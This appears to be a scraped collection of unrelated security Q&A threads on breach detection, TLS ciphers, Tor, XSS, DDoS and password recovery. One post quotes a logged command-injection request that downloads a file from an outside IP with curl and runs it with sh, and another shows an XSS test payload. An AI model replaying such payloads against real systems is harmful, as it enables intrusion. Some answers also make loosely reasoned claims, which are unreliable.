How can one know if the password database on the server is stolen or not? There are many password breaches happening now a days.
How can the system administrator detect if the password database on the server is hacked?
Obviously, the admin can know once the password database is announced over the internet. But is there a way to know about the incident before the entire world knows about it? Is it possible to know about the hack at about the same moment when the hack is happening? What kind of traces one should look for detecting the possibility of different attacks?

Start collecting data

There is no "was_compromised" database setting that gets changed when a breach happens. You'll have to monitor your evidence now, and look for suspicious activity. You should look into the concepts around Intrusion Detection more broadly, but I'll give some database specific ideas to get you started. Essentially, start logging information to an central system as soon as possible.

You don't just need the data to determine what happened should a breach occur, but you also need the data to establish what is normal so you can detect what is abnormal.

Enable Database Query Logging

In MySQL, enable the General Query log. If your server is breached, you will often see a large increase in query activity.

Intrusion Detection systems can be to watch for canary values.

One technique that has a very small false-negative rate is to insert fake data into the database, and configure your Snort to detect if that data exits the network. This technique can get tricky, because data can be encoded or encrypted, but setting up multiple tap points will help. You would ideally listen to traffic between the webserver and the internet, as well as between the database and the webserver.

Monitor your web logs

If SQL Injection attacks are being used to grab data, the attacks will show up all over your weblogs. You will often see huge spikes in traffic for a small group of IPs. Knowing how much data your website normally transfers a day is very helpful here.

Start full packet captures

This is the final word. If you can record every packet ever sent to and from the database server you will be able to answer the "Did we get breached" question much more effectively.  You'll ideally want to capture between all the your servers.


nginx recommended ssl_ciphers I am looking for some advice on setting the ciphers for nginx with SSL.

What would you recommend for a good compromise between security and compatiblity at the moment?

I have made some research but the solutions are sometimes very different and it gets confusing.

For example, this site https://cipherli.st/ recommends only:

AES256+EECDH:AES256+EDH

Does that mean that if those cannot be used, there will be an error? Isn't it a bit too restrictive then?
Mozilla recommends much bigger lists:

In those, AES128 seems to be preferred over AES256 since I understood that the order matters, correct?

Isn't it AES256 better if it is available? Why don't they put them first then?

ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!3DES:!MD5:!PSK

ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA

This post recommends a quite small list compare to Mozilla:

What's the difference between ECDH here Vs.ECDHE with Mozilla?

 ECDH+AESGCM:DH+AESGCM:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:ECDH+3DES:DH+3DES:RSA+AESGCM:RSA+AES:RSA+3DES:!aNULL:!MD5:!DSS;

Comodo recommends something different again:

ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!MD5:!PSK:!RC4

Well, I am a bit lost.
I found this post (Recommended ssl_ciphers for security, compatibility - Perfect Forward secrecy) but it does not help since there are also many versions and it's not easy to sort them out.

Any advice?

Thanks

The Mozilla Server Side TLS guide you linked to is an excellent resource to follow for ciphersuite choices. Ciphersuite choices will change as new vulnerabilities in TLS emerge and Mozilla seems to do a good job in keeping up-to-date with recommendations.

AES-128 is generally preferred because people think bigger is better. Both AES-128 and AES-256 are secure against known attacks and there is a non-negligible performance cost to using AES-256 over AES-128.

ECDHE uses ephemeral keys while ECDH does not. Thus, ECDHE provides perfect forward secrecy while ECDH does not.


Tor traffic seems to be exiting from different Tor exit nodes - is that expected? I seem to be observing some odd behaviour whilst experimenting with Tor. It's entirely possible this is just my own ignorance as well, in which case I would appreciate some clarification/enlightenment!

I have two computers running at the moment (both behind my router), lets call them SENDER and RECEIVER. I have port forwarding on my router turned on for port 22222 to the RECEIVER computer.

On the RECEIVER computer, I'm running wireshark (to see things as they happen and check IPs). On the RECEIVER I also have netcat running like this: nc -l 22222 > testfile.txt.

On the SENDER computer, I'm running tor. When in the Tor browser it says I'm using Tor, and when I go to check.torproject.org it tells me it appears my IP address is (lets say) IP_ADDRESS_1. Then, on the sender computer, I'm using the following commands to send packets to my routers internet facing IP at port 22222 (so that it is forwarded on to RECEIVER) through Tor.

socat TCP4-LISTEN:3000,fork SOCKS4a:127.0.0.1:INTERNET_FACING_IP_OF_ROUTER:22222,socksport=9050

The above sends all traffic sent to 127.0.0.1:3000 through Tor to the address INTERNET_FACING_IP_OF_ROUTER:22222.

I then do the following to send packets to the RECEIVER computer:

nc 127.0.0.1 3000 < testsend.txt

Now, when I see the packets come into the RECEIVER (by viewing wireshark capturing TCP on port 22222), I'm noticing that the IP the data is coming from is different from the IP that I see when going to check.torproject.org on the SENDER machine. Thinking this was strange, I looked up the IP the packets were coming from, and sure enough, it was that of another Tor exit node. I'm also not entirely sure of a pattern with respect to "using a new Tor circuit" in all of this.

Is anyone able to tell me what's going on here? My expectation was that I would see the same IP as the source for incoming packets from my computer behind Tor as I would while checking check.torproject.org on the SENDER machine.

It is kind of by design that exit nodes change. If all your traffic exited through the same node, then it would be easier to track you (not knowing who you are in reality, but noticing that it is the same "you").


Evaluation keyexchange for automation Target:

Secure communication between server S and Master M
Server S executes script downloaded from Master M (securely)

Problem:

Small footprint - use existing software (base install of a unixsystem)

Mostly automated

(Possible) "Protocol":
Given

Server S and Master M share a common secret SM_KEY (one time password), which is exchanged over a secure channel before the protocol starts. This can be telephone, encrypted email between or any other channel between the two systemowners
Master has Keypair (K_M, K_M_pub) for signing (OpenSSL)

Install-Phase

Server S generates a OpenSSH-Keypair
(K_S, K_S_pub)

Server S sends K_pub to Master M via HTTPS-GET/POST, as well MAC-secured checksum :
S -> K_S_pub, MAC(K_S_pub)_SM_KEY -> M

Master M verifies MAC with SM_KEY and safes K_S_pub

Master M sends his public key and MAC-secured checksum (server "downloads" it via HTTPS):
M -> K_M_pub, MAC(K_M_pub)_SM_KEY -> S

Operation Phase

Server downloads skripts via HTTPs to execute which are signed by private Key of the master (K_M) and verify it with K_M_pub
Server uploads results to master via SFTP by authenticating with private key K_S (Master can verify the attempt with K_S_pub)

Used tools

OpenSSL for sign / verify (RSA-Keys)
OpenSSH for SFTP (pubkey-Authentication)
wget for HTTPS-Requests (Communication from Server to master)

Possible Attacks

MITM Install: Because of the MAC(K_S_pub)_SM_Key the Master can recognize it and abort further communication; Server can recognize forged answer by verifying MAC as well
MITM Operation: Only signed scripts will be executed, uploading is secured by SFTP

Do I miss any anything?

The operation phase is fine.

HTTPS should protect against MITM attacks in the operational phase.
Signing of the data is fully acceptable in the operational phase.

The installation phase is fine, although I suspect that you meant HTTP instead of HTTPS. This will work and the MAC's will protect from tampering. What I'm now proposing is a "could be".

You could use OpenSSL instead of OpenSSH for the server S.
You could formulate a CSR for a S/MIME and TLS client certificate and let it be signed by the master server M (acting as a CA). Both server could then afterwards connect via mutually authenticated HTTPS and you could use the S/MIME cert-part to authenticate output, as the master would be the only one that would need to trust himself.


OpenSSL gmail - receiving Please log in via your web browser and then try again Using openssl as below when I do

EHLO
auth login

and then enter my username and password I get the following error:

Please log in via your web browser and then try again.
Learn more at https://support.google.com/mail/answer/78754

To quote from that location, I seem to most likely be suffering from this symptom:
Your app might not support the latest security standards. Try changing a few settings to allow less secure apps access to your account.
I don't want to change my gmail security settings. Is there any  way to make an OpenSSL session meet google's security requirements?

I don't want to change my gmail security settings. Is there any way to make an OpenSSL session meet google's security requirements?

In theory you could probably do all the necessary communication with openssl. In practice this will probably too hard to do everything by hand. What you would need to do is to use oauth for the authentication, see https://developers.google.com/gmail/oauth_overview.


Is SFTP vulnerable to brute force, bounce, spoof, sniffing and port stealing? I have been researching FTP and noted that using FTP means you are vulnerable to these types of attacks. I have been looking for an safer alternative and came across SFTP. Is SFTP still vulnerable to these types of attacks?

Most services are available to brute forcing, and most have mechanisms to defend against it. You can likely use SSHGuard to prevent brute forcing as it written to detect multiple failed anomalous logins, and blocks (via IPTables) the connection. Or you could write your own script with checks and balances:

pseudocode

if
tail -n 1000 /var/log/messages | grep fail && grep sftp
then
cut field of IP and create iptable rule && run rule
fi

The better (optimal) option would be creating a rule to allow instances you trust, and blocking all others.


Browser HiJacking Defense? Let's suppose I'm on the internet all day long. Let's suppose I listen to talk show radio programs over the internet using a media player, something like Win Amp. Am I protected from a browser hijacking as long as my browsers (Firefox, Internet Explorer and Chrome) are closed down? Is it safe to assume there is no way for a browser hijacker to take over my computer as long as my Firefox, Internet Explore and Chrome are closed?

Media players often connect to the internet today, for example to get album covers, lyrics, new music (when streaming) or similar. This functionality can have bugs which might result in remote code execution, i.e. a take over of your system by the attacker. And, remote execution can include starting the browser with a specific URL which then might result in hijacking the browser for other purposes.

If you want to really be sure that no remote attacker can take over your system through the media player make sure that the system has no internet connection and does not run any content which might have been compromised by an attacker, like previously downloaded playlists, music or similar.


How effective is Caja at preventing XSS? I recently found Caja which looks like an effective way of preventing XSS.  From their site:

  The Caja Compiler is a tool for making third party HTML, CSS and
  JavaScript safe to embed in your website. It enables rich interaction
  between the embedding page and the embedded applications. Caja uses an
  object-capability security model to allow for a wide range of flexible
  security policies, so that your website can effectively control what
  embedded third party code can do with user data.

and also:

  Caja turns a piece of Web content -- roughly, a snippet of HTML, CSS
  and JavaScript that you would see within the body tag of an HTML page
  -- into a Caja module. This module is represented as a single JavaScript module function that can be run within a Caja container.

Does this mean that using Caja I could give a user the ability to enter HTML/CSS without having to worry about possible XSS attacks?

In my opinion that totally depends if you are just using Caja, or whether you have got a backend language as well.

The reason I say that is because you could have something like a search module on the backend which doesn't sanitize any data, thus a malicious well-formed string could be output, causing an XSS (or other attacks).

If you are talking about how effective is Caja at preventing XSS from it's side, then from what I've read, it looks quite good, but I have never personally used it, however I hear good things from it.


Very Strange Access Request to my website Recently I got a very odd request to my website. This is from the log file:
20.42.89.182 - - [12/Aug/2020:18:48:13 -0400] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 302 195 "-" "-"
20.42.89.182 - - [12/Aug/2020:18:48:13 -0400] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 302 195 "-" "-"

It appears to be trying to run some shell commands, including what I believe to be downloading the source of a site with cURL. I tried to visit this URL but it was blocked by my security filter. What is kerbynet? Is this part of cloudflare and can it be used to run shell commands on my website?
It should be noted that I use Cloudflare.

Solved: Did some digging and it turns out to be an old exploit for wifi routers.
https://www.exploit-db.com/exploits/28558
https://www.youtube.com/watch?v=fgbfVBr65e4


How to handle a remote office and a client requiring IP Whitelisting? .NET Developer here, out of my comfort zone on this one.

My software company is going remote, where employees can work from home, Starbucks, a Regus office, Spain, anywhere really. One of our clients requires IP Whitelisting to access their servers, so I am wondering how we can avoid having to send them new IPs to whitelist daily.

We are not looking to advertise this business move to our clients, so ideally, I'd like to find a solution that requires little or no effort from our clients.

Anybody here who has been in a similar situation, how have you solved this dilemma?

Thanks.

I'm not sure if this is really an information security question per se or more of one about general networking; but here goes:

If you have a number of dynamic IPs connecting to a client that requires whitelisting, this will lead to constantly having to ping the client to update the ACLs to allow IPs as they change.   While on modern residential connections this happens infrequently, it's enough to be a disruption.

The way most companies deal with this is to establish either a bastion host or a VPN.

The Bastion Host

A bastion host is a secure, hardened server that is connected to by authorized users.  Its role is to allow these users to remote into it, and then "bounce" from it to connect to other, secure servers.    Of course, the bastion host would have a static IP (it could be a cloud server, for example).

Now, this is useful for SSH, Remote Desktop or similar connections, but when needing more robust network connectivity a VPN is often the right solution.

The full or split tunnel VPN

A full tunnel VPN is a VPN connection that makes all traffic from the VPN client go over the VPN.  Thus, all remote hosts/websites see traffic coming from the VPN concentrator's IP, and not that of the end user.

You can establish a full tunnel VPN at your site and have users connect to it.  Then, they can connect as normal to the client's server.  The client's server can only whitelist your VPN's public IP address, and thus any user connected to the full-tunnel VPN will be whitelisted and able to establish connectivity.

This system does have drawbacks in that it may cause slow connections on the end user's side, and slow down the VPN concentrator's internet connection.  You can also configure the VPN to be "split tunnel", and only send certain traffic over it.  In this case, you can specify that traffic to the client's servers IP addresses or range go over the VPN, while other general internet traffic go over the normal internet connection without traversing the VPN.  This will conserve bandwidth on the VPN side and lead to faster internet connectivity for users connected to the VPN.


Is it normal to receive working SMS verification code from strange number Facebook I am Algerian.
Why when I want to reset my Facebook password I receive a SMS from an Algerian phone number (00 213 ...), and not from Facebook? And why sometimes the SMS contain spelling errors?
The six-digit code received by SMS works anyway.

Yes, it's normal. Facebook will use local SMS gateways when possible, because it's cheaper and faster. Using a California-based SMS gateway to send SMS to Algeria would be way more expensive than using an Algerian gateway.
Spelling errors are the strange part, because those messages aren't meant to be typed, but sent by a computer program. Maybe they are correct and you think it's a mistake. As a non-English native speaker, I sometimes think a word is incorrect but I am mistaken, it could be the case here.


Eye-Tracking, Public Access Points and Password Protection Could entering sensitive keyboard input in public places with camera systems equipped with a robust AI possibly leak keystrokes via eye-tracking technology -- assuming the typist is using the hunt/peck method? This would assume the system uses some kind of spacial guess-work, creating a virtual  map of the keyboard by using conjectural spacial probability, perhaps based occurrence-frequency of right vs left vowels, etc.

This of course also assumes the keyboard is obscured either by angle or the laptop lid.

When you start to use the word "assume" three times or more, you might be too broad and might get hit by a lot of individual opinions. Anyway…

Does the technique your assumptions describe actually exist?

Yes, it exists. It's part of what's commonly known as "body tracking surveillance techniques".

Will you ever meet it in real life?

Probably not — unless governmental institutions like the NSA learn to love you.

Is eye-tracking the only problem in your scenario?

No.

Based on the assumptions of your scenario descriptions, you should also look into "body tracking" and "statistical identification of movement patterns". To give you a simple hint on these kind of things: "shoulder movement" on it's own (no matter how minimal it is) can already provide enough identification vectors to reproduce the keys you have typed with a high probability of success.

Yet, physical tracking methods are rather impractical on a "one-person" scale as there is too much personel (specialists evaluating the data) and hardware (needed surveillance equipment) involved.

Why would someone want to use complicated techniquest when there are much simpler ways to gain access to your passwords. Let's - just for fun - assume someone really wants to get your password/pin/code/whatever using physical tracking methods… that someone will have to gather additional reference data and - even more important - be sure that the resources invested are actually worth the result.

So, unless you're working for "el presidente" and got some really cool access level to classified information - most adversaries will most probably fall back on easier methods to gain access to your passwords. After all, the goal of "them" will always be to invest a minimum of resources to reach access to your passwords. Trust me, no one will ever hire two to three infosec specialists with hi-tech equipment just to steal your top-secret Gmail password.

But let's suppose your password is really that important. Let me list a few security problems you'll have to take care of first:

Is that waitress really cleaning that table (or is she watching what you type)?
Did you check the tables that surround you (and the people sitting near you who could be watching you)?
Are you sure there are no hidden cameras recording you from intrusive angles?
Are you sure there is no hidden microphone underneath your table to record your keystrokes (which can aid reconstructing the letters you type using sound-to-microphone distance vectors)?

and last but not least

Are you really sure you want to use such an important password in a public place like this?

Wrapping it up...

Let's be honest — no one will use eye-tracking when there are plenty of alternatives to get what you think is worth securing. Compared to eye-tracking worries you describe, those alternatives will certainly provide easier options to gain access to your secured data.

But assuming the data you plan to enter in your device is really that confidential, I would take a coffee-to-go and look for a more trusted place to enter that data/password/pin/code/whatever.

In all other cases, it's time for a little reality check to prevent the security-related paranoia that hits us all every now and then…

via http://xkcd.com/538/


Why should I pay for an email S/MIME certificate? There are quite a few SSL certificate companies out there that offer free email S/MIME certificates. There are also paid versions as well. I need about 6 email certificates for some company email addresses (the company has yet to start trading hence the requirement to keep costs low) so what advantages does getting paid certificates have over the free certificates?

If it matters I use Microsoft Exchange Online as my email provider and use Outlook 2013 and Thunderbird as my email clients.

If you have confidence in the security and policies of the company issuing the certificate (that they would not issue one to someone else for addresses in your domain) there should be no difference. Most of these shops offer the free e-mail certificates as a way to advertise to you for Web server certificates and the like. Many of the paid offerings provide insurance against anyone else getting your certificate through the company's error or by hacking their servers, and then impersonating you.


Access denied after inserting reflected XSS payload in JavaScript I am getting multi reflection of my input on a websites page, one of the reflections of my input happens to be inside the <script> tag. The script tag that I just mentioned has it's src referring to another domain, called, visualwebsiteoptimizer.com which then refer's to the domain that I am testing my xss on, using the URL: redirect method.

<script src="https://dev.visualwebsiteoptimizer.com/deploy/js_visitor_settings.php?v=1&amp;a=25349&;url=https://www.targetdomain.com/en-us/search-results.aspx/search=helloworld

If I insert a normal text query the output is (varying on the query found or not found), as soon as I insert my payload that is '-alert(1)-' the website gives me a 403 Access Denied. Normal text inputs are okay and render the page, but inserting any payload just gives me a 403.

Can anyone tell me what's going on? Am I getting an XSS but it's just not popping because of some WAF?

Most likely one of the sites in the chain is performing XSS protection not by filtering, but by blacklisting anything deemed dangerous and automatically returning a 403.

As an example, I knew a web developer once who performed all of his XSS and SQLi protection via a 10 page .htaccess file that checked the incoming request against every XSS or SQLi vector he had seen in his ~decade of experience.  alert, script, SELECT, etc... if it was a keyword in an attack, it was blacklisted in his .htaccess file and the server would automatically return a 400 Access Denied response, regardless of whether or not there was a vulnerability.

Is it a good strategy for XSS mitigation?  I don't think so.  But it is definitely a strategy people use, and it is most likely the reason your current attempts are being blocked.  A WAF is one possible way that someone might implement such a filter.  Regardless of exactly how they do it, of course, the end result is the same: you are stuck until you find an attack vector that their black-list doesn't detect and filter.


My WiFi network is replaced by another network. Am I being hacked? To begin with, I am not very computer savvy.  I am an older person with an older computer and a 2003 Windows XP using Google Chrome for a browser.  (If anyone is old enough to remember when Windows first came out, and remembers their hologram security seal with a baby touching a computer screen - that baby was my son.)  I am widowed, and without resources for help with computer problems, so I would greatly appreciate some help.  But you might have to explain things in common english!

We have a wireless router provided by AT&T with WPA2.  I have had a suspicion for a while that a neighbor is a hacker.  Recently, if I log onto my computer late at night, it tells me that I don't have an internet connection.  When I check the wireless network, my network doesn't even appear.  What appears is a network that I don't recognize with a 5 bar signal strength.  If I refresh the network list, my network appears (with signal bars), then the bars disappear on the unknown network, and I get a connection.

This must mean that someone is hijacking my network, or hacking into my computer at night - right?

It is unlikely a hacker stealing internet access will have the sophistication (or need) to make the wireless network change between different names.

It is more likely that someone/some device nearby installed a new wireless network that happen to broadcast on the same channel as yours (there are only 3 or 4 non-overlapping ones to choose from) and have a higher signal strength. Depending on the signal strength of your router and the capability of the wireless card, the latter may fail to detect your network until the other one goes quiet.

One solution is to reconfigure your router to use a different channel. This option is normally under the "wireless" or "advanced wireless" section in the web configuration interface of the router. Another one is to find out who operates the other network and ask them to reduce power (it is possible they're violating FCC rules).

You'll find a WiFi analyser on a smart phone very hand for both solutions. They can tell you what network are using which channel and the make of the router (useful for hunting them down). On Android, there are many options. I think the best one is Wifi Analyzer. For iOS, the only option is Apple's own AirPort Utility (see guide).


Does a two-factor authentication dongle (OTP) which is always inserted in MacBook add a security benefit? I think to get a Yubikey and read that Keepass with OTP makes no sense No. Security remains the same + extra cognitive overhead.

I try to store all data local and use seldom cloud based services.

If I have a very bad SecOp and keep the dongle always plugged in the MacBook (or on the same table), does that dongle add a security benefit?

My thread model are remote attacks. If there is a security benefit, what Yubikey configuration I need to implement, to profit from improved security?

Yes, it adds a security benefit for remote attacks. Just assume you type your password into a chat window instead of in the password box on a website. Using 2FA, nobody in the chat can login into your account, even when your YubiKey is connected to your Macbook.

You may be a bit more at risk when the Yubikey types your TOPT into the same chat, but with a little bit of luck it will expire before someone realizes what it is and where to login with it. And leaking one TOTP does not leak the master key needed to generate the next one.


Does BloodHound include local users as part of the results? I've read the documentation for BloodHound, but I'm still unsure, whether BloodHound includes local users (not domain users) as part of the results (or whether it is possible to make BloodHound include such users)?

If BloodHound doesn't consider local users, what is the reason for that? Credentials of local users might still of interest in escalation domain privileges by password reuse.

Bloodhound uses active directory searches and maps only accounts it can guarantee have the same password . It cannot guarantee local non ad accounts have the same password so it does not include them .

This is a relevant issue link

https://github.com/BloodHoundAD/BloodHound/issues/227


Brute Forcing Password to a Truecrypt-encrypted file with Partial Knowledge A while back, I encrypted a few files with Truecrypt, and stored the password in my head. Now I need to access it again, the password isn't working. I'm sure most of it is right, but I'm off by one or two characters. Is there a program that will allow me to tell it most of the characters in the password in order, and guess the rest through brute force?

http://www.autohotkey.com/board/topic/86586-tcbrute-2-truecrypt-bruteforce-password-recovery/ seems like exactly what you're after.

The other one to try is OTFBrutusGUI - which can be had from http://www.tateu.net/software/ - though it has little documentation beyond scattered forum posts (such as http://www.tateu.net/forum/index.php and http://www.wilderssecurity.com/showthread.php?p=1834959).

More generally - John The Ripper (http://openwall.com/john/) is a generic brute-force tool often used and adapated to these sorts of scenarios. And TrueCrack (https://code.google.com/p/truecrack/) is specifically for missing TrueCrypt passwords. It goes almost without saying that these aren't effective at all against passwords you have no knowledge of (assuming a reasonable password strength).

Edit: Modern versions of oclHashcat are also capable of cracking Truecrypt headers; see https://hashcat.net/forum/post-15509.html also.


Symantc Endpoint protection keeps detecting clean file as risk I downloaded some files from website using FTP and these websites have been developed using .net and any .dll file is flagged as Risk by our Antivirus.

our IT Made some changes to antivirus on my system but it still keeps flagging several .dll files as Risk and this goesnt in loop for ever.

I scanned some of these fils on virustotal.com and they came out clean.

how can i get this fixed without deleting these files.  Unexclude/Undo Action Taken doesnt make any difference.

Here is the link for scan version for details
https://www.virustotal.com/en/file/b3adf8b825cc10fdd8c1c13c66273022445a80fe894a7a1e18f4fba882b0d204/analysis/1494840803/

How can i get around this or stop Symantec from scanning this file or atleast ignore this file. This is frustrating as it keeps showing popup every 5-6 seconds and goes on for about 15-20 minutes and then stops for about 10 minutes and then starts again. this goes in look

As described on Symantec support website, you can exclude a file or a folder from being scanned by:

  On the Exceptions Policy page, click Exceptions.

  Under Exceptions, click Add > Windows Exceptions > File.

  In the Prefix variable drop-down box, select a common folder.

  Select [NONE] to enter the absolute path and file name.

  When you select a prefix, the exception can be used on different
  Windows operating systems.

  In the File text box, type the name of the file.

  If you select a prefix variable, the path should be relative to the
  prefix. If you select [NONE], type the full path name.

  Note:

  Paths must be denoted by using a backward slash.

  Under Specify the types of scans that will exclude this file, select
  the type of scan (Security Risk, SONAR, or Application control).

  You must select at least one type.

  For security risk scans, under Specify the type of security risk scan,
  select Auto-Protect, Scheduled and on-demand, or All Scans.

  See the help for information about why you might want to limit the
  exception to a specific type of security risk scan.

  Click OK.

You can check the whole process here : hxxps://support.symantec.com/en_US/article.HOWTO80920.html


Can proxy server access my cookies and use it? I recently forgot to turn off proxy and connect through a premium account,
will the owner of proxy server be able to use the cookies and access the account?

Anything that went over HTTP through a proxy was available to proxy controller.

HTTPS you should be okay, depending on the CAs that your browser trusts and assuming that you didn't click "yes" on trusting an untrusted certificate.


What is the minimum secure length for gpg -c file.txt? I want to use gpg -c with a user-generated password that I can easily remember. Are 16 characters enough? for example would a password similar to "I own 32 houses." be bruteforcable?

Misconceptions

Is 16 characters enough? for example would a password similar to "I own 32 houses." be bruteforcable?

"I own 32 houses." should not be considered a 16 character password.  A modern cracker would use a dictionary attack to break that one.  A 16 character password would be pretty strong 26^16 = 4.3608743e+22 possible combinations, but you would need to have random characters. Assuming a dictionary of 20k words (the common english speaker's vocab) and 33 special characters. The password you supplied is really 20,000 x 20,000 x 99 x 20,000 = 7.92e+14 possible combinations.
Answer
I'd recommend 16 characters for this scenario, but you need to use a high entropy password generator.
You can use this website to check lengths of passwords and how long they would take to crack for offline attacks, but remember you need a randomly generated password for this tool to work.


I am being DDoSed for no reason, how can I protect myself? I recently experienced an unprovoked DDoS attack with a speed of 8Tbps against my website from over 80k unique IP addresses and I was wondering is there any way to protect myself against these attacks? I'm currently using Arbor Networks but they are not helping with this what so ever.

Not sure exactly what Arbor Networks provide in terms of DDos their homepage talks about "on-premise solutions". That seldom helps against large DDoS attacks - once the traffic reach your premise, it is already game over.

So what to do? Get behind a CDN that offers DDoS protection, and make sure to change your IP so only your CDN and nobody else knows it. Since only the traffic your CDN lets through will ever reach your server, the attacker must take down the CDN edge node to take you down, and that is an insurmontable task.

Not saying they are better than any other CDN, but this is what CloudFlare has to say on the subject:

  Layer 3 and 4 attacks are difficult—if not impossible—to mitigate with an on-premise solution. If an attacker can send more traffic than a network link can handle, no amount of additional hardware resources will help to mitigate such an attack. For example, if you have a router with a 10Gbps port and an attacker sends you 11Gbps of attack traffic, no amount of intelligent software or hardware will allow you to stop the attack if the network link is completely saturated.

  With CloudFlare, all attack traffic that would otherwise directly hit your server infrastructure is automatically routed to CloudFlare’s global Anycast network of datacenters. Once attack traffic is shifted, we are able to leverage the significant global capacity of our network, as well as racks-upon-racks of server infrastructure, to absorb the floods of attack traffic at our network edge. This means that CloudFlare is able to prevent even a single packet of attack traffic from a traditional layer 3/4 attack from ever reaching a site protected by CloudFlare.


How is Gmail susceptible to brute-force attacks? In the Atlantic article "Hacked!" it says:

  My wife’s password was judged as “strong” when she first chose it for use with Gmail. But it was a combination of two short English words followed by numbers, so if it didn’t leak from some other site, it might just have been guessed in a brute-force attack. For reasons too complex to explain here, even some systems, like Gmail’s, that don’t allow intruders to make millions of random guesses at a password can still be vulnerable to brute-force attacks.

What vulnerability is the author referring to?

For starters, that article misuses terminology.

Whatever vulnerability they may be referring to it seems pretty blatant that it is not "brute force" as that would contradict the premise of that very sentence. As another answer suggested it's possible that some form of social engineering was employed, but in this case any rounds of "guessing" left would not be brute force at all but would be cleverly leveraging known data points.

Additionally, it misidentifies the most likely security failure.

Altogether more likely in the case described in the article is a compromised database on another site. The article specifically allows for this when it says "if it didn’t leak from some other site", implying that his wife does not use unique passwords per site. If you don't use unique passwords1 then all bets are off2 and you cannot blame Google if your Gmail account is compromised3 that all your stuff is only as safe as the weakest site you use—a least-common-denominator approach that is bound to get you int trouble as for any given set of sites it is almost guaranteed that one of them has mishandled user data!

1. You should. Full stop.

2. In addition to (but not in place of) using unique passwords, enabling two-factor authentication would also mitigate against this attack vector.

3. Note again the terminology issue here. A compromised account (as in my usage) is different than a hacked account (as in the article's usage). In the most likely scenario the Gmail account was not hacked—no security measure at Google failed—the attacker was merely able to login with the password they hacked from somewhere else.


Blocking Standard Users (Win 10) from Adding Chrome Extensions I want to block standard users (Win 10) from adding Chrome extensions. When the standard user renames the default folder, it overwrites any security policies applied on the Extensions folder.

Use Group Policy. This is supported by chrome.
It's fairly well documented how to do this:

Allows you to specify which extensions the users can NOT install. Extensions already installed will be disabled if blacklisted, without a way for the user to enable them. Once an extension disabled due to the blacklist is removed from it, it will automatically get re-enabled.
A blacklist value of '*' means all extensions are blacklisted unless they are explicitly listed in the whitelist.

There's more settings you can make, such as whitelisting or forcing specific extensions. Don't try to conjure up your own scheme by using custom permissions on parts of chrome user profile directory.


TLS 1.2 Server certificate and signature_algorithms In the specification for TLS 1.2, it says the following:

If the client provided a "signature_algorithms" extension, then all
certificates provided by the server MUST be signed by a hash/signature
algorithm pair that appears in that extension.

However, when I tried the following command in OpenSSL (As a server) it runs without any issue:

openssl s_server -accept 443 -cert ecdsa-cert.crt -key ecdsa-key.key -debug -msg -state -HTTP -cipher ECDHE-RSA-AES128-SHA

Then, I run another command for client:

openssl s_client -connect 127.0.0.1:443 -debug -cipher ECDHE-RSA-AES128-SHA

It can't proceeed any further on the server console, it says "no shared cipher". However, when I used wireshark and inspect the ClientHello.signature_algorithms, it did indeed has ECDSA pair in it. So I'm wondering is it me that misinterpret the specification?

The ECDHE-RSA-AES128-SHA cipher suite means that the key exchange will use a dynamically generate ECDH key pair, that the server will sign with its own RSA private key. The server's certificate will thus contain a RSA public key, regardless of how that certificate was signed by its CA.

I suppose that the certificate you use contains an EC key pair, thus not compatible with the ECDHE-RSA-AES128-SHA cipher suite. It is kinda dumb from the server to start up at all with the provided options, since, in effect, it supports no cipher suite at all. But software is known to be dumb (at times).

